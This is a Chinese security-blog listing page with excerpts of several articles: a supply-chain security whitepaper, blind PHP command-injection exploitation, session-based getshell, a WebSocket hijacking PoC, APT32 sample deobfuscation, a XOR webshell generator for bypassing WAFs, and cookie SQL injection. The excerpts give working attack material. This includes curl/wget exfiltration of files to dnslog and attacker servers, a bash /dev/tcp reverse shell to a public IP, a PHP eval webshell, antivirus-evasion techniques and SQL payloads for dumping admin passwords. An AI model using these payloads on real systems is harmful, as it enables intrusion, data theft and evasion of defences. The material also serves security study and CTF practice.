浅谈软件供应链安全治理与应用实践 安全闲碎

浅谈软件供应链安全治理与应用实践

随着容器、微服务等新技术日新月异,开源软件成为业界主流形态,软件行业快速发展。但同时,软件供应链也越来越趋于复杂化和多样化,软件供应链安全风险不断加剧,针对软件供应链薄弱环节的网络攻击随之增加,软件供应链成为影响软件安全的关键因素之一。近年来,全球针对软件供应链的安全事件频发,影响巨大,软件供应链安全已然成为一个全球性问题。全面、高效地保障软件供应链的安全对于我国软件行业发展、数字化进程推进具有重要意义。近日,在由中国信通院指导、悬镜安全主办的中国首届DevSecOps敏捷安全大会(DSO 2021)现场,《软件供应链安全白皮书(2021)》(以下简称“白皮书”)正式发布。本白皮书着重分析了软件供应链安全,梳理了软件供应链的安全现状,透过现状全面剖析软件供应链的安全风险及面临的安全挑战,有针对性地提出如何对软件供应链的安全风险进行防范与治理,系统阐述了软件供应链安全的防护体系及软件供应链安全的应用实践以供参考,最后白皮书结合现在软件供应链安全的发展趋势进行了全面的分析及展望。由于篇幅有限,仅摘选本报告“软件供应链安全治理”及“软件供应链应用实践”两部分进行分享。 图:《软件供应链安全白皮书》封面一、软件供应链安全治理目前,业界已充分认识到造成网络安全事件出现的主要原因之一,是由于软件开发者在开发过程中对开发工具、开发团队、开发生命周期和软件产品自身管理不当,致使软件存在着安全缺陷,破坏或影响最终用户的信息安全。 通过推进针对软件生命周期进行全流程安全管控的落地实践,有助于从软件生命周期的源头保障软件供应链安全。通过建立软件开发过程中保证软件供应链安全的体系化方法,为软件开发过程中尽可能避免和消除软件的安全缺陷、保证软件供应链安全奠定重要基础。从软件安全开发生命周期角度分析软件供应链安全的应用实践方法,主要有以下几个阶段。1、体系构建阶段SDL 软件安全开发生命周期 微软在21世纪初期的软件产品开发实践中,意识到无法通过技术层面彻底解决软件面临的安全风险。因此,微软尝试从流程和管理的角度解决这个问题,并探索在各个软件开发环节中加入安全过程、把控安全风险,确保每个环节交付到下一环节的交付物都安全可控。于是,针对传统的瀑布式模型微软提出了“SDL 软件安全开发生命周期” 这一概念。 软件安全开发生命周期(SDL),是一个在帮助开发人员构建更安全的软件和解决安全合规要求的同时降低开发成本的软件开发过程。SDL将软件开发生命周期划分为7 个阶段(如图所示),并提出了 17 项重要的安全活动,旨在将安全集成在软件开发的每一个阶段,以减少软件中漏洞的数量并将安全缺陷降低到最小程度。SDL更侧重的是软件开发的安全保障过程,旨在开发出安全的软件产品。  图 1 SDL 软件安全开发生命周期在 SDL 的 7 个阶段中(如图 1所示),SDL 要求前 6 个阶段的 16 项安全活动,为开发团队必须完成的安全活动。同时,SDL 认为开发团队应该保持灵活性,以便选择更多合适的安全活动,如人工代码分析、渗透测试、相似应 用程序的漏洞分析,以确保对某些软件组件进行更高级别的安全分析。SDL 重视各种工具的使用,重心在从需求阶段到测试阶段的工具集,如威胁建模、静态源代码分析等工具。SDL 的 7 个阶段主要的含义如下: 培训:针对开发团队进行安全意识与能力的培训,以确保 SDL 能有效实施并落地,同时针对新的安全问题与形势 持续提升团队的安全能力; 需求:通过安全需求分析,定义软件产品安全实现过程中所需要的安全标准和相关要求; 设计:通过分析攻击面,设计相对应的功能和策略,降低和减少不必要的安全风险。同时通过威胁建模,分析软 件的安全威胁,提出缓解措施; 实施:按设计要求,实现对应功能和策略,以及缓解措施涉及的安全功能和策略。同时通过安全编码和禁用不安 全的 API,减少实施时导致的安全问题,尽量避免引入编码级的安全漏洞,并通过代码审计等措施来确保安全编码规范的实行; 验证:通过安全测试检测软件的安全漏洞,并全面核查攻击面,各个关键因素上的威胁缓解措施是否得以验证; 发布:建立相应的响应计划,进行最终安全检查,确认所有安全活动均完成后将最终版本发送给客户; 响应:当出现安全事件与漏洞报告时,及时实施应急响应和漏洞修复。在此过程中新发现的问题和安全问题模式,可用于 SDL 的持续改进过程中。DevSecOps DevSecOps 是一种全新的安全理念和模式,由 DevOps 的概念延伸和演变而来。其核心理念是安全是整个 IT 团队 每个人的责任,需要贯穿从开发到运营整个业务生命周期每一个环节才能提供有效保障。 DevSecOps 覆盖编码阶段、测试阶段、预发布阶段、发布阶段、线上运营阶段,强调自动化与平台化,由 CI/CD 平台推动整个开发和运营流程自动化。DevSecOps 依赖于 DevOps 流程工具链(如图 2 所示),将威胁建模工具、安全编码工具、安全测试工具、容器安全检测工具、基线加固工具、漏洞管理工具等自动化工具无缝集成到 DevOps 流程中,进而实现开发 - 安全 - 运营一体化。 图 2 DevSecOps 工具链很多企业在向 DevSecOps 转型时,会发现很多传统的安全工具在集成性和实用性上都难以满足 DevSecOps 的需求, 因此,在 DevSecOps 的不同阶段需要采用不同的 DevSecOps 安全工具(如图 3 所示),这些安全工具主要的共同特点是高度自动化以及可集成性。图 3 DevSecOps 安全工具在不同阶段的自动化程度在软件供应链中每个阶段都在面临不同的安全风险,为了更好的对软件供应链进行风险治理,在 DevSecOps 模式 下,安全开发工具链需要尽量覆盖软件生命周期中的所有阶段(如图 4 所示)。 图 4DevSecOps 模式下软件生命周期除了以上所提到的工具之外,在 DevSecOps 的应用实践过程中,还有一些更为前瞻性的安全工具,具体可参考 DevSecOps 敏捷安全技术金字塔(如图 5所示)。该金字塔在《2020 DevSecOps 行业洞察报告》中首次被提出, 目前已发展到 2.0 版本。其描述了一组层次结构,金字塔底部是基础性技术,越上层的技术对 DevSecOps 实践成 熟度的要求越高。图 5 DevSecOps 敏捷安全技术金字塔 V2.0 版DevSecOps 敏捷安全技术金字塔的不断升级,是为了给业界更好的预测和参考,关于 DevSecOps 敏捷安全技术...
阅读全文
浅谈PHP无回显命令执行的利用 CTF专场

浅谈PHP无回显命令执行的利用

如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现) 来源:安全脉搏(1)首先去ceye.io注册个账号,注册完后会给一个域名在这里插入图片描述我注册后给的域名是v4utm7.ceye.io(2)如果有域名解析请求就会被记录。访问qwzf.v4utm7.ceye.io,那么就会记录下来这个域名解析请求。在这里插入图片描述在这里插入图片描述简单测试一下向目标服务器发起http请求,执行下面的命令ip=|curl `whoami`.v4utm7.ceye.ioshell复制代码在这里插入图片描述查看dnslog在这里插入图片描述若果得到执行结果(如上面执行whoami命令,得到www-data),就说明测试点存在命令执行。利用方法了解了无回显命令执行的判断方法后,当然是还需要了解学习一下无回显命令执行的利用方法。但测试利用方法之前,首先要准备一下环境。于是我写出下面的测试代码进行利用测试:index.php<?php header("Content-type: text/html; charset=utf-8"); highlight_file(__FILE__); include("flag.php"); $ip=$_REQUEST; if($ip){ shell_exec("ping -c 4 ".$ip); } ?>php复制代码1、执行命令利用条件:需要站点目录具有写权限通过执行命令,直接将php文件写入到在浏览器可直接读取的文件类型中(如txt文件),然后访问txt文件即可得到php文件内容1.使用>或>>cat flag.php > flag.txt cat flag.php >> flag.txtshell复制代码在这里插入图片描述在这里插入图片描述2.使用cp命令cp flag.php flag.txtshell复制代码3.使用mv命令mv flag.php flag.txtshell复制代码通过执行tar命令和zip命令打包或压缩php文件,在浏览器上下载打包或压缩文件解压得到php文件内容(1)tar打包或tar打包并压缩tar cvf flag.tar flag.php tar zcvf flag.tar.gz flag.php #解打包并解压缩:tar zxvf flag.tar.gzshell复制代码在这里插入图片描述解打包得到flag:在这里插入图片描述(2)zip压缩zip flag.zip flag.php #解压缩:unzip flag.zipshell复制代码等等。2、写webshell(直接写入或外部下载webshell)利用条件:需要站点目录具有写权限1.写webshellecho 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php echo "<?php @eval(\$_POST); ?>" > webshell.phpshell复制代码2.外部下载shell利用条件:目标服务器可以连接外网或可以与攻击机互通,且能执行wget命令wget 网址 -O webshell.php #使用wget下载shell,使用参数-O来指定一个文件名shell复制代码利用命令执行写webshell或外部下载webshell后,用蚁剑连接测试,发现成功在这里插入图片描述然后在蚁剑里直接查看flag.php文件,即可得到flag。3、在vps上建立记录脚本利用条件:需要目标服务器可以向公网服务器发起http请求,并且能执行curl命令或wget命令1.构造记录脚本在自己的公网服务器站点根目录写入php文件,内容如下:record.php<?php $data =$_GET; $f = fopen("flag.txt", "w"); fwrite($f,$data); fclose($f); ?>shell复制代码2.构造请求在目标服务器的测试点可以发送下面其中任意一条请求进行测试curl http://*.*.*.**/record.php?data=`cat flag.php` wget http://*.*.*.*/record.php?data=`cat flag.php`php复制代码3.测试在这里插入图片描述执行命令后发现在公网服务器得到的flag.txt文件中,只得到下面内容,并未得到flag在这里插入图片描述于是考虑对命令执行的结果进行编码后写入flag.txt文件curl http://*.*.*.**/record.php?data=`cat flag.php|base64` wget http://*.*.*.*/record.php?data=`cat flag.php|base64`shell复制代码最终得到在这里插入图片描述Base64解码即可得到flag。4、通过dnslog带出数据(1)命令执行时要避免空格,空格会导致空格后面的命令执行不到;(2)将读取的文件命令用反引号``包含起来;(3)拼接的域名有长度限制。利用命令:curl `命令`.域名shell复制代码测试一下命令#用<替换读取文件中的空格,且对输出结果base64编码 curl `cat<flag.php|base64` #拼接域名(最终构造结果) curl `cat<flag.php|base64`.v4utm7.ceye.io #另一种方法(不过有的环境下不可以)`cat flag.php|sed s///g`.v4utm7.ceye.ioshell复制代码在这里插入图片描述利用dnslog,查看文件内容(flag.php文件内容)在这里插入图片描述base64解码得到flag在这里插入图片描述5、反弹shell利用条件:目标服务器可以向可通信的公网服务器发起http请求1.服务器端执行nc -vv -lp 88882.命令执行处执行bash -i >& /dev/tcp/47.95.206.199/8888 0>&13.payloadip=127.0.0.1%0d%0abash+-i+>%26+/dev/tcp/47.95.206.199/8888+0>%261注意:百度搜索到的基本上都是上边这个方法,但经过测试并未成功。于是想到以前见过的一种方法#1.首先在公网服务器使用nc命令监听端口 nc -lvp 4444 #或nc -vv -lp 4444 #2.然后在公网服务器上写一个文件(我写入到qwzf文件),内容是下面命令 bash...
阅读全文
浅谈利用session绕过getshell 安全文章

浅谈利用session绕过getshell

原创稿件征集邮箱:[email protected]:3200599554黑客与极客相关,互联网安全领域里的热点话题漏洞、技术相关的调查或分析稿件通过并发布还能收获200-800元不等的稿酬在前些时间,国赛上再一次遇到了服务器本地文件包含session的漏洞,这是个老生常谈的东西了,但还是常常可以碰到,而我们想利用session来getshell往往还需要一些特殊的方法,借此机会,研究一番基础知识PHP SESSION的存储SESSION会话存储方式在Java中,用户的session是存储在内存中的,而在PHP中,则是将session以文件的形式存储在服务器某个文件中,我们可以在php.ini里面设置session的存储位置session.save_path在很多时候服务器都是按照默认设置来运行的,假如我们发现了一个没有安全措施的session文件包含漏洞时,我们就可以尝试利用默认的会话存放路径去包含getshell,因此总结常见的php-session的默认存储位置是很有必要的默认路径/var/lib/php/sess_PHPSESSID/var/lib/php/sessions/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSIDsession文件的存储路径是分为两种情况的一是没有权限,默认存储在/var/lib/php/sessions/目录下,文件名为sess_,而phpsessid在发送的请求的cookie字段中可以看到(一般在利用漏洞时我们自己设置phpsessid)二是phpmyadmin,这时的session文件存储在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp与 SESSION 有关的几个 PHP 选项session.serialize_handler一是php,服务器在配置文件或代码里面没有对session进行配置的话,PHP默认的会话处理方式就是session.serialize_handler=php这种模式机制,这种模式只对用户名的内容进行了序列化存储,没有对变量名进行序列化,我们可以看作是服务器对用户会话信息的半序列化存储二是session.serialize_handler=php_serialize,这种处理模式在PHP 5.5后开始启用,与上一种类似,但无论是用户名的内容还是变量名等都进行了系列化,可以看作是服务器对用户会话信息的全序列化存储三是php_binary,其存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值常见就是以上三种,还有一些其他的比如session.serialize_handler = wddx等这里就不展开赘述了对比上面session.serialize_handler的两种处理模式,可以看到他们在session处理上的差异,但我们编写代码不规范时对session的处理采用了多种情况,那么在攻击者可以利用的情况下,很可能会造成session反序列化漏洞。session.auto_start默认是off状态,如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。session.use_strict_mode默认是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.因为sessid的可控,我们很容易借此达到我们getshell的目的,但是我们还存在session.upload_progress.cleanupsession.upload_progress.cleanup默认开启,一旦读取了所有POST数据,它就会清除进度信息,所以我们一般都要通过条件竞争来进行文件上传session.upload_progress.enabled默认情况下是开启的,但也当该配置开启时,我们今天要讲的重点才得以引出Session Upload ProgressSession Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION 中获得。当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。下面给出一个php官方文档的一个进度数组的结构的样例:<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /></form>此时在session中存放的数据看上去是这样子的:<?php$_SESSION = array(    // 其中存在上面表单里的value值"123" "start_time" => 1234567890,   // The request time 请求时间 "content_length" => 57343257, // POST content length  post数据长度 "bytes_processed" => 453489,  // Amount of bytes received and processed  已接收的字节数量 "done" => false,              // true when the POST handler has...
阅读全文
浅谈 WebSocket 跨域劫持漏洞(CSWSH) 安全文章

浅谈 WebSocket 跨域劫持漏洞(CSWSH)

原文首发在圈子社区:https://secquan.org/Discuss/1069086WebSocket 跨域劫持漏洞WebSocket 跨域劫持漏洞,英文名:Cross-site WebSocket Hijacking,漏洞类型:全能型CSRF(可读、可写)。了解WebSocketWebsocket 优点支持双向通信,实时性更强。更好的二进制支持。较少的控制开销。连接创建后,ws客户端、服务端进行数据交换时,协议控制的数据包头部较小。在不包含头部的情况下,服务端到客户端的包头只有2~10字节(取决于数据包长度),客户端到服务端的话,需要加上额外4字节的掩码。而HTTP协议每次通信都需要携带完整的头部。支持扩展。ws协议定义了扩展,用户可以扩展协议,或者实现自定义的子协议。(比如支持自定义压缩算法等)Websocket 如何建立连接画了一张图让你了解:漏洞产生建立Websocket连接无验证。案例1.如下请求:GET / HTTP/1.1Host: localhost:8080Origin: http://127.0.0.1:3000Connection: UpgradeUpgrade: websocketSec-WebSocket-Version: 13Sec-WebSocket-Key: w4v7O6xFTi36lq3RNcgctw==篡改Origin,发现没有对Origin进行验证,也可以跨域进行协议升级。2.进一步验证2.1获取到了一个发送评论的请求2.2使用JavaScript创建Websocket请求<meta charset="utf-8"><script>function ws_attack(){    var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss://    ws.onopen = function(evt) {        ws.send("我是帅key的可爱小迷弟!");   };    ws.onmessage = function(evt) {        ws.close();   };}ws_attack();</script>2.3验证发现可以请求并成功进行重放,存在Websocket跨域劫持(这里只是简单的评论请求,危害就是:点我链接让你评论我想评论的,试想:如果是修改密码的WebSocket请求存在劫持那么问题就大了~)漏洞利用攻击流程跟以往的交互类漏洞没什么区别(点我链接读取你XXX、点我链接让你XXX):来一个圈子"铸剑实战靶场"的截图,自我体会:PoC代码编写<meta charset="utf-8"><script>function ws_attack(){//自定义函数ws_attack    //定义函数功能    //创建WebSocket并赋值给ws变量    var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss://    ws.onopen = function(evt) {        //当ws(WebSocket)处于连接状态时执行        ws.send("我是帅key的可爱小迷弟!");   };    ws.onmessage = function(evt) {        //当ws(WebSocket)请求有响应信息时执行        //注意:响应的信息可以通过evt.data获取!例如:alert(evt.data);        ws.close();   };}ws_attack();//执行ws_attact函数</script>修复方法综合建议:校验Origin头Referencehttps://www.cnblogs.com/chyingp/p/websocket-deep-in.html 本文始发于微信公众号(米斯特安全团队):浅谈 WebSocket 跨域劫持漏洞(CSWSH)
阅读全文
【技术分享】浅谈海莲花某样本反混淆 安全文章

【技术分享】浅谈海莲花某样本反混淆

 01前言先说一下样本是我在2017年分析的,2019年我又完善了一下用到的反混淆脚本。我做过一年多的样本分析,也没有分析过比这更复杂的。1.ESET的分析:https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf样本分析的很详细,不过只提了一点点样本混淆的手法,也没有提怎么做反混淆。2.checkpoint的分析:https://research.checkpoint.com/deobfuscating-apt32-flow-graphs-with-cutter-and-radare2/主要就是讲怎么做反混淆,开源了一个Cutter和Radare2的插件,能去除一些混淆。没有对样本进行分析。我当时自己是写了一个基于capstone的python反混淆脚本去除垃圾代码并还原控制流,虽然代码写的很烂,用的方法也很烂,但是自己也不会再做这方面的工作了,与其烂在硬盘里不如和大家分享一下。时间有点久,有些东西记不清楚了,正文里面如果有说错的地方希望读者能多多包涵。这里先说一点题外话。以前刚刚干这一行的时候听别人说安全是一个体力活,是人与人之间的对抗。当时不懂,后来才好像有一点理解是什么意思。比如说做样本分析,在样本分析师和样本的作者水平相同的情况下,样本的作者用了10天的时间一共x种方法混淆这个样本,样本分析师想要完全反混淆去还原这个样本就要一个一个去还原这x种方法,花的时间一定是大于10天的(当然样本分析师通过经验积累能越来越熟练)。如果一个CTF比赛,出题人花几周甚至更长的时间用了很多种混淆方法写一个壳,做题的人需要在几天的时间内拿到flag,那不出意外也没有人能做出来。 02正文接下来讲解一下反混淆脚本的流程。首先capstone会把switch的jumptable识别为代码,所以我在脚本中标记了这些jumptable的地址。将jumptable全部patch成0x90,调用capstone的disasm方法反汇编,将结果保存在名为read_code的dict中。dict的key是指令的地址,value记录了指令的长度,上一条指令的地址(第一条指令上一条指令的地址是0),指令的地址,指令的内容,指令的操作数和指令的助记符。并且为了方便我将所有jmp eax这样jmp一个寄存器的指令中的jmp改成call。样本中插入了很多像下面这样的垃圾指令:有pushfd+垃圾指令+popfd这样的,也有pushfd+垃圾指令+popfd+垃圾指令+popfd或者pushfd+垃圾指令+pushfd+垃圾指令+popfd等等情况。还有pushfd之前和popfd之后可能也会有少量的垃圾指令,在expand_pushfd_popfd函数中把这些垃圾指令也尽量都考虑进去。最后将结果保存在名为junk_code_pair的dict中。dict的key是垃圾指令的起始地址,valve是垃圾指令的结束地址。用名为junk_code的dict对垃圾指令进行标记,dict的key是指令的地址,valve为1表示该指令是垃圾指令。不过有一些特殊的情况需要处理。1.有时pushf之前和popf之后有一对相反的条件跳转:pushf之前:popf之后:以上图为例,这个时候需要把0x291C85D处的js改成jmp,并且将0x291C863-0x291C8D5之间的指令标记为垃圾指令。2.有时pushf之前有一条push 0xAAAAAAAA或者mov dword ptr , 0xAAAAAAAA这样的指令,popf之后是一个retn:pushf之前:popf之后:这个时候直接改成call 0xAAAAAAAA。把新创建的call保存在名为new_call的dict中。还要考虑push 0xAAAAAAAA+垃圾代码+push 0xBBBBBBBB+垃圾代码+retn+垃圾代码+retn这样的情况。这时候会先执行0xBBBBBBBB处的代码再执行0xAAAAAAAA处的代码,而改成call指令之后会先执行0xAAAAAAAA处的代码再执行0xBBBBBBBB处的代码。所以需要修正。接下来需要恢复程序的控制流,程序的控制流被打乱是因为插入了很多jmp导致IDA Pro反编译F5效果不好。先标记所有的jmp。一共有四种jmp,第一种是jmp +5这样无意义的jmp(值为-2),第二种可能是死循环的jmp(值为-1或者大于1),第三种是jmp一个寄存器(值为0),第四种是正常的jmp(值为1)。对于死循环的情况,比如说0x1000处的指令是jmp 0x2000,0x2000处的指令是jmp 0x1000,那么这两个jmp的标记都是2;再比如说0x3000处的指令是jmp 0x3000,那么这个jmp的标记就是-1。做标记的目的是为了防止处理时陷入到死循环里面。比如说0x1000处的指令为jmp 0x2000,0x2000处的指令为XXX,0x2010处的指令为jmp 0x3000,0x3000处的指令为YYY,0x3010处的指令为jmp 0x4000,0x4000处的指令为retn。那么我的想法是将0x1000处开始的指令改成XXX,YYY和retn,避免出现过多jmp的情况。这里还有一个小细节是需要把两个字节的条件跳转和非条件跳转改成5/6个字节的,因为原来的字节很可能已经不够用了。在process_read_code函数中调用deal_jmp函数恢复了控制流,跳过了垃圾代码,整理好的代码放在了和read_code类似的名为write_code的dict中。这个过程中得到一个名为code_mapping的dict,key是read_code中指令的地址,valve是该指令被写到write_code中的地址的列表。接下来调用process_write_code函数根据code_mapping修正write_code中指令。除了指令需要修正以外别忘了数据也需要修正。这样基本就是我的反混淆脚本的整个流程了。 03结论最后我们来看一下处理完之后的效果,一些函数已经基本恢复出来了:磁盘相关:注册表相关:如果不做处理是不可能F5得到这样的比较清晰的结果的。再多说一句,shellcode中恢复Windows API名我以前讲过一些方法:XKungfoo2018:2017年恶意代码威胁回顾和快速分析实践不过要分析到ESET报告里面那个程度可能还需要对脚本进行完善或者动态调试,还得花一些时间,因为其实还有一些函数是没有恢复出来的,后来不做样本分析以后我也不想继续在这件事上浪费时间了。最后给出代码和bin文件:https://github.com/houjingyi233/APT32-deobfuscation(点击“阅读原文”查看链接)- End -精彩推荐【技术分享】杀软的无奈——基础工具篇(一)【技术分享】借助DefCon Quals 2021的mooosl学习JBS工厂因网络攻击关停,真凶系REvil 勒索软件【技术分享】vCenter Server CVE-2021-21985 RCE分析戳“阅读原文”查看更多内容 本文始发于微信公众号(安全客):【技术分享】浅谈海莲花某样本反混淆
阅读全文
谁能杀我?浅谈随机异或无限免杀各种WAF(d盾示例) 安全文章

谁能杀我?浅谈随机异或无限免杀各种WAF(d盾示例)

作者: 圈子社区 yzddmr6首发于圈子社区 https://www.secquan.org/Prime/1069497本文已声明原创,恶意转载硬刚到底!仅供技术交流,切勿非法用途!前言#最近D盾更新了,在某司某圈也看到了不少免杀d盾免杀狗的一句话帖子但是基本上只要放出来不到两天时间就加入查杀全家桶.最近一直在造各种车轮子,就想着其实可以写个脚本利用异或来 fuzz 出指定的字符,然后拼接出 assert 或者  create_function  等函数,来对抗 waf 的检测.查杀 0级了无痕,处女座的福音!思路及实现####首先解决如何fuzz的问题先讲一个离散数学中的概念叫可逆 ,异或的运算就是具有可逆性的.具体什么意思呢,就是说若a^b=c,则有b^c=a所以只要把需要拼凑出来的字符串 a  跟随机取出来的符号  b   异或,然后出来的结果 c  就是需要跟 b  异或的内容.举个例子我们来 echo 一下字符 a  跟符号 *  异或的结果是大写字母K然后把大写 K  跟 * 异或就出来了我们想要的 a 那么也就是a=K^*但是在写的过程中问题来了很多时候异或出来的字符是不可见的小方块就需要把它编码看了以前有一篇文章是用url编码,但是在实现过程中发现url编码也有一定概率出现不可表示的字符那就开开心心上 hex 吧最终成功拼接出来了 assert接下来就是写个字符串池子,用来存特殊符号,然后随机取出来进行异或,拼接想要的字符.把它封装成函数可以设置需要异或的字符串长度其实也可以用中文甚至 emoji 表情来异或,但是考虑到乱码还有不同系统对表情的支持不同,就算了.取出拼接好的 assert, 把 get 的数据传进去,就成了下面这样哈,看来可以使用啦编辑提示:在这里 mr6 就是菜刀密码,后面的参数 phpinfo();就是你要执行的php命令,可以直接丢到菜刀里。接着是调用的问题,其实到了这个地步,不管你什么d盾安全狗已经认不出来函数里面写的什么意思了,但是他会根据函数的调用来检测拦截,如果这个时候直接调用的话会爆一级可疑函数.既然做免杀肯定要0级了啦放到类里面再调用就好了接下来就是造轮子了在脚本中为了增大waf识别的难度 类名方法名也随机化了.使用方法#右键查看生成的源码已经保存到同目录下 1.php 里面了生成了十几个,免杀无压力~附上过D截图最后#脚本特点有三个#一利用特殊符号异或达到迷惑waf的目的,并且因为每一次的拼接都是随机生成的,所以单单一个文件进了特征库也不用担心二是利用类调用,类名函数名随机化,杀软分析起来可能跟普通的文件没有什么区别三是没有assert eval create_function 等这些关键字,更为隐蔽.因为是随手写的,所以代码比较糙,不过不要在意这些细节……只是提供了一个思路,其实大马也可以像这样写个免杀模版,下一篇文章再讲吧虽然都是随机化,也没有assert eval 这种关键字,但是用的人多了当然脚本的免杀性也失效了,可以关注我的  github : https://github.com/yzddmr6以后更新的免杀脚本都会放在上面.如果有什么讲的不对的地方还请大佬们多多包涵.源码地址: https://github.com/yzddmr6/php_xor_bypass/blob/master/xor.php#不来个star??  不来个star??  不来个star??顺便在线等团长的 CVE-2019-0708-RCE 的exp~欢迎关注 圈子社区官方公众号,不花一混钱,享受最新实战动态!公益,鲜活,专业关于圈子社区:圈子社区是一个非盈利,封闭的白帽子技术交流社区。目前成员已有近2000人,拥有业内首个自主研发的实战化靶场,体系化学习和燃爆的交流气氛带你成为真正的大佬,社区专注实战,崇尚技术,如果你也是实战派,请关注我们。社区地址:(请使用https访问)https://www.secquan.org 本文始发于微信公众号(Secquan圈子社区):谁能杀我?浅谈随机异或无限免杀各种WAF(d盾示例)
阅读全文
(基础篇-2)浅谈cookie注入 安全文章

(基础篇-2)浅谈cookie注入

写在前面非常感谢小伙伴们对我们inn0team的信任与支持,喵喵甚是感动~当然喵喵也没有偷懒喔,这是喵妹第一次发表文章,小伙伴们不要笑话我嘛~~~相信大家对SQL注入的原理和利用方式已经很熟悉了,对于SQL注入的防范措施基本上可以用过滤和参数化查询来解决。一般的程序只是对GET和POST数据进行过滤,没有对以cookie方式提交的数据进行过滤,导致目标系统可能存在cookie注入。本文将以ASP语言和ACCESS数据库(虽然是老掉牙的组合了,但是我们是来学习原理的好不啦~~~)为例讲解cookie注入的原理及利用方法。cookie注入形成的原因程序获取前端提交的数据有三种形式:获取GET方式提交的数据使用request.querystring()获取POST方式提交的数据使用request.form()request()是未指明使用request对象的哪种具体方式进行获取数据,对GET,POST,cookie方式提交的数据都可以接收。当使用GET和POST方式注入被过滤时,可以尝试使用cookie注入。判断cookie注入打开正常页面http://192.168.16.198/shownews.asp?id=192,页面打开后在浏览器的控制台输入javascript:alert(document.cookie="id="+escape("192")),此步操作是设置cookie值;这里的“id=”是“参数名,“escape("192")”中的“192”是参数值,在控制台执行这条语句后会在页面中弹出一个对话框。 现在刷新页面看是否还能正常访问。如果能正常访问,再在控制台执行javascript:alert(document.cookie="id="+escape("192 and 1=2")),刷新页面后页面不能正常显示,说明存在cookie注入。cookie注入的利用判断表名:在控制台执行语句javascript:alert(document.cookie="id="+escape("192 and exists (select * from admin "));然后刷新页面,页面正常返回说明存在admin表。接下来和普通的注入差不多,只是自己构造的sql语句放置的位置不一样而已,形如:javascript:alert(document.cookie="id="+escape("192 and 1=2 union select"));在控制台执行完语句后刷新页面即可看到回显内容。以此附上手工注入ACCESS数据库常用的SQL语句:1.判断注入点 数值型注入点判断 and 1=1 and 1=2 字符型注入点判断 'and 'a'='a 'and 'a'='b 若两次返回结果不一致,则存在注入点2.猜解表名 and exists(select * from 表名)3.猜列数 按照某字段进行排序:order by 第几个字段 如果返回页面不正常,则说明字段数超过了真正的字段数,由此得到表有多少字段4.猜解列名 and exists(select 列名1,列名2 from 表名)5.爆数据:and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from 表名and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin6.判断记录数量http://xxx.com/test.asp?id=1 and 2<(select count(*)from 表名)7.获取除主键外的其他键值select 1,2,3,……from user where username not in ('admin','test')或者是select 1,2,3,……from user where username <> 'admin' and username <> 'test'以此类推……最后,感谢团队所有成员对我的信任,么么哒~~~长按上面的二维码可以关注我们,如果你觉得本文对你有帮助可以分享到朋友圈,谢谢 本文始发于微信公众号(inn0team):(基础篇-2)浅谈cookie注入
阅读全文
浅谈安全产品的hvv安全之道 安全闲碎

浅谈安全产品的hvv安全之道

“读书节,最好的过节方式可能不是看书,而是写作;HVV结束,最好的纪念方式可能不是小龙虾,而是总结与成长。从安全公司的产品安全建设角度,来看安全产品的自身安全和HVV,别有一番风味。”01—我思故我在好久没能够随心所欲的写点文字,两年前那种才思泉涌的“心流”状态,被繁忙的工作与生活的琐碎逐渐磨灭。今天下班后特别疲惫,甚至在路上看NBA都觉得眼睛疲乏,且内容无趣。按照往常,慢跑能够清醒并让人满血复活。但最近身体状态不佳,果断选择了放弃。戴上耳机,试图跟着音乐的节奏,让满身的细胞随之舞动,来忘却周围的一切。思绪飞扬,脑子似乎高速转动起来。从早上到现在的画面,犹如放幻灯片一样历历在目。最令人深刻的片段,与今天这个日期相关。正值04-23,如果不看手机,估计也不会记得是读书节。那么,读书有什么用?怎么安排(挤)时间来读书?…一系列问题,成了阅读的拦路虎。其实,如果把读书当做和吃饭一样的日常行为,估计就不会觉得那么困难。实际上也是这样,仅是食物上的输入,没有给大脑准备佳肴,人会变得越发迟钝直至平庸。就我而言,读书最大的收益是:内心的充盈与满足。高质量的输出,来自持续不断的输入。输出又倒闭输入,阅读就是一种不错的输入,可以获取大量信息,亦能提升文字功底。抓住这种思考的感觉,内心油然而生奋笔疾书的冲动。02—阶段性总结昨晚的朋友圈,是安全人(网络安全从业人员)的狂欢圣地。十四个白天与黑夜的奋战,在最终一刻以倒计时和聚餐结尾。生活不止小龙虾,还应该有战役之后的总结与成长。“总结须及时”,因为要带着激战的余温,才更有味道。安全产品,从去年便成为安全人茶余饭后的话题。五年前,因为没有安全设备而被攻破;现在是因为买了安全设备被攻破。类似的话语,屡见不鲜。身为一名乙方安全人,又是